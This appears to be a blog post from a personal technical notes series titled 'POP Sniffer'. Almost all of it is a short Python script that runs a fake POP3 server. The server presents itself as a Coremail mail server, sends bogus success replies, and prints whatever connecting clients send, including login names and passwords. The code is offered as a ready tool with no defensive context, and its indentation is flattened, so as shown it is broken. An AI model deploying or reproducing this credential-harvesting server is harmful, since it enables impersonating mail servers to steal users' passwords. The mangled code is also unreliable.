64.4. POP Sniffer

 
#!/usr/bin/python3
# Author: neo chan
# Homepage: http://netkiller.8800.org

import socketserver,sys
import threading

class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):

def setup(self):
print(self.client_address[0], 'connected!')
self.request.send(b'+OK Welcome to coremail Mail Pop3 Server \r\n')

def handle(self):
    # self.request is the TCP socket connected to the client
while True:
self.data = self.request.recv(1024).strip()
if self.data == b'QUIT':
return
if self.data == b'AUTH':
self.request.send(b'-ERR Not support ntlm auth method\r\n')
print("%s wrote: " % self.client_address[0])
print (self.data)
# just send back the same data, but upper-cased
# self.request.send(self.data.upper())
self.request.send(b'+OK 0 message(s) [0 byte(s)]\r\n')

def finish(self):
print( self.client_address[0], 'disconnected!')
self.request.send(b'Goodbye! \r\n')

class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass

if __name__ == "__main__":
HOST, PORT = "172.16.0.1", 110

# Create the server, binding to localhost on port 110
# server = socketserver.TCPServer((HOST, PORT), MyTCPHandler)
# server.serve_forever()

# Activate the server; this will keep running until you
# interrupt the program with Ctrl-C
try:
server = ThreadedTCPServer((HOST, PORT), ThreadedTCPRequestHandler)
# Start a thread with the server -- that thread will then start one
# more thread for each request
server_thread = threading.Thread(target=server.serve_forever)
# Exit the server thread when the main thread terminates
# server_thread.setDaemon(True)
server_thread.start()
except KeyboardInterrupt:
sys.exit(0)
  
 




原文出处:Netkiller 系列 手札
本文作者:陈景峯
转载请与作者联系,同时请务必标明文章原始出处和作者信息及本声明。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值